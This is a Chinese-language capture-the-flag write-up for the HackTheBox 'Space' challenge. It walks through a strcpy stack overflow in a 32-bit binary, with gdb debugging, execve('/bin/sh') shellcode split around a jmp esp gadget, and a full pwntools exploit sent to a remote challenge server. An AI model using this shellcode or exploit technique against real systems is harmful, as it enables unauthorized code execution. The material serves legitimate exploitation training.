HackTheBox Space 写入x32shellcode Pwn题目
创始人
2024-04-05 20:20:45
0

在这里插入图片描述

题目网址:

https://app.hackthebox.com/challenges/space

解压密码为hackthebox

静态分析

checksec space

在这里插入图片描述

这个程序什么防护都没开,从上到下依次是

32位程序
部分RELRO,基本上所有程序都默认的有这个
没有开启栈保护
未启用数据执行
没有pie,意思是程序的内存空间不会被随机化
有读,写,和执行的段,意思是我们可以在程序里写入shellcode

现在用ghidra打开程序,按下键盘的i键,选择程序

在这里插入图片描述

双击启动,然后都是默认即可

然后找到main函数

在这里插入图片描述

在这里插入图片描述

undefined4 main(void){undefined local_2f [31];undefined *local_10;local_10 = &stack0x00000004;printf("> ");fflush(stdout);read(0,local_2f,0x1f);vuln(local_2f);return 0;
}

很简单的程序,首先输出字符串’>'后让我们输入内容,但是只允许输入31(0x1f)个字节,会存储在main函数的缓冲区中,这个缓冲区允许存储31个字符,然后调用了vuln函数

然后将局部变量local_2f(也就是我们输入的内容)传递到函数vuln函数中,其中local_2f中的字符串将被复制到vuln函数的局部变量local_12中。使用的复制字符串的函数是strcpy

在这里插入图片描述

void vuln(char *param_1){char local_12 [10];strcpy(local_12,param_1);return;
}

这是一种不安全的方法,可以复制的字符串的大小没有限制。由于变量local_2f最多可以存储31个字符,因此变量local_12很容易溢出,可以执行缓冲区溢出并覆盖vuln函数的返回地址

动态调试

用gdb打开程序,为了弄清楚程序的缓冲区偏移量和对齐栈空间,我们在vuln函数的strcpy函数前后下一个断点

在这里插入图片描述

b *0x080491c1
b *0x080491c6
r

运行程序,随便输入一些字符串

在这里插入图片描述

然后查看一下堆栈

x/40x $esp

在这里插入图片描述

执行strcpy函数后再看一下堆栈

n
x/40x $esp

在这里插入图片描述

在这里插入图片描述

由于我们输入了12个A,还需要6个A字符才能覆盖到返回地址,一共就是18个字符,也就是说,我们需要18个字符以内的shellcode

x32shellcode

通过google,搜索相关的x32shellcode,发现了以下文章:

https://rayoflightz.github.io/shellcoding/linux/x86/2018/11/15/Shellcoding-for-linux-on-x86.html#putting-it-all-together

在这里插入图片描述

再根据这个网站查看哪些寄存器用作sys调用的参数

https://man7.org/linux/man-pages/man2/syscall.2.html

在这里插入图片描述

然后简化一下shellcode

xor edx,edx         # \x31\xd2 (设置没有第三个参数) 
push edx            # \x52      (将空字节压入堆栈作为字符串终止符) 
xor ecx,ecx         # \x31\xc9 (设置没有第二个参数) 
push '//sh'         # \x68\x2f\x2f\x73\x68 (push "/bin//sh") 
push '/bin'         # \x68\x2f\x62\x69\x6e 
mov ebx,esp         # \ x89\xe3 (设置 ebx,第一个参数,使用“/bin//sh\0”) 
push 0x0b           # \x6a\x0b 
pop eax             # \x58      (设置使用 sys_execve) 
int 0x80            # \xcd\x80

这个shellcode一共有22个字符,堆栈内最多存放18个字符,不然就会覆盖到返回地址,我们只能通过jmp esp指令来分开执行shellcode,当指令“jmp esp”的地址放置在vuln函数的返回地址位置时,我们可以执行返回地址位置之后的shellcode,shellcode中的一些指令首先被执行,然后再跳回到变量local_12的开头执行我们剩下的shellcode

查询程序内是否存在jmp esp指令

ropper --file space --search "jmp esp"

在这里插入图片描述

正好有一个

在这里插入图片描述

我们在黄色部分放一部分shellcode,白色部分是函数的返回地址,然后将jmp esp指令放在里面,剩下的shellcode放到红色里

根据我们之前写的shellcode,我们可以将指令“xor edx, edx”和“xor ecx, ecx”放在返回地址的位置之后,因为它不影响堆栈的位置,因为不涉及PUSH操作。然后我们可以把剩下的 18 个字节的 shellcode 放在前面

from pwn import *context.update(arch="i386", os="linux")binary = ELF("./space")jmp_esp_asm = asm("jmp esp")
jmp_esp = next(binary.search(jmp_esp_asm))exploit = b"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80" + p32(jmp_esp, endian="little") + b"\x31\xd2\x31\xc9"

在这里插入图片描述

在vuln函数里,寄存器eax包含变量local_12的地址,因此,我们可以在shellcode中包含“jmp eax”,以使其跳转到位于变量local_12开头的剩余shellcode

call_eax_asm = asm("call eax")	# 2字节exploit = b"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80" + p32(jmp_esp, endian="little") + b"\x31\xd2\x31\xc9" + call_eax_asm

我们的esp指向的是我们的b”\x31\xd2\x31\xc9”,而剩下的shellcode位于较低的地址,堆栈是从高到低执行的,剩下的push操作会在push发生时覆盖自己。我们需要减去esp的当前值,让它指向远离我们的shellcode位置

sub_esp_0x20_asm = asm("sub esp, 0x20")	 # 3字节exploit = b"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80" + p32(jmp_esp, endian="little") + b"\x31\xd2\x31\xc9" + sub_esp_0x20_asm + call_eax_asm

PWN

完整的脚本

from pwn import *context.update(arch="i386", os="linux")binary = ELF("./space")# 搜索jmp esp指令的地址
jmp_esp_asm = asm("jmp esp")
jmp_esp = next(binary.search(jmp_esp_asm))# 回到vuln函数的缓冲区
call_eax_asm = asm("call eax")# 改变栈指针,这样当shellcode压栈时,不会覆盖我们的shellcode
sub_esp_0x20_asm = asm("sub esp, 0x20")exploit = b"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80" + p32(jmp_esp, endian="little") + b"\x31\xd2\x31\xc9" + sub_esp_0x20_asm + call_eax_asmr = binary.process() 
r.sendlineafter(">", exploit)
r.interactive()

执行脚本

在这里插入图片描述

设置远程地址,pwn掉服务器

在这里插入图片描述

from pwn import *context.update(arch="i386", os="linux")binary = ELF("./space")jmp_esp_asm = asm("jmp esp")
jmp_esp = next(binary.search(jmp_esp_asm))call_eax_asm = asm("call eax")sub_esp_0x20_asm = asm("sub esp, 0x20")exploit = b"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80" + p32(jmp_esp, endian="little") + b"\x31\xd2\x31\xc9" + sub_esp_0x20_asm + call_eax_asmr = remote("165.227.237.60",31380)r.sendlineafter(">", exploit)r.interactive()

在这里插入图片描述

成功获得flag

相关内容

热门资讯

银河麒麟V10SP1高级服务器... 银河麒麟高级服务器操作系统简介: 银河麒麟高级服务器操作系统V10是针对企业级关键业务...
【NI Multisim 14...   目录 序言 一、工具栏 🍊1.“标准”工具栏 🍊 2.视图工具...
AWSECS:访问外部网络时出... 如果您在AWS ECS中部署了应用程序,并且该应用程序需要访问外部网络,但是无法正常访问,可能是因为...
不能访问光猫的的管理页面 光猫是现代家庭宽带网络的重要组成部分,它可以提供高速稳定的网络连接。但是,有时候我们会遇到不能访问光...
AWSElasticBeans... 在Dockerfile中手动配置nginx反向代理。例如,在Dockerfile中添加以下代码:FR...
Android|无法访问或保存... 这个问题可能是由于权限设置不正确导致的。您需要在应用程序清单文件中添加以下代码来请求适当的权限:此外...
月入8000+的steam搬砖... 大家好,我是阿阳 今天要给大家介绍的是 steam 游戏搬砖项目,目前...
​ToDesk 远程工具安装及... 目录 前言 ToDesk 优势 ToDesk 下载安装 ToDesk 功能展示 文件传输 设备链接 ...
北信源内网安全管理卸载 北信源内网安全管理是一款网络安全管理软件,主要用于保护内网安全。在日常使用过程中,卸载该软件是一种常...
AWS管理控制台菜单和权限 要在AWS管理控制台中创建菜单和权限,您可以使用AWS Identity and Access Ma...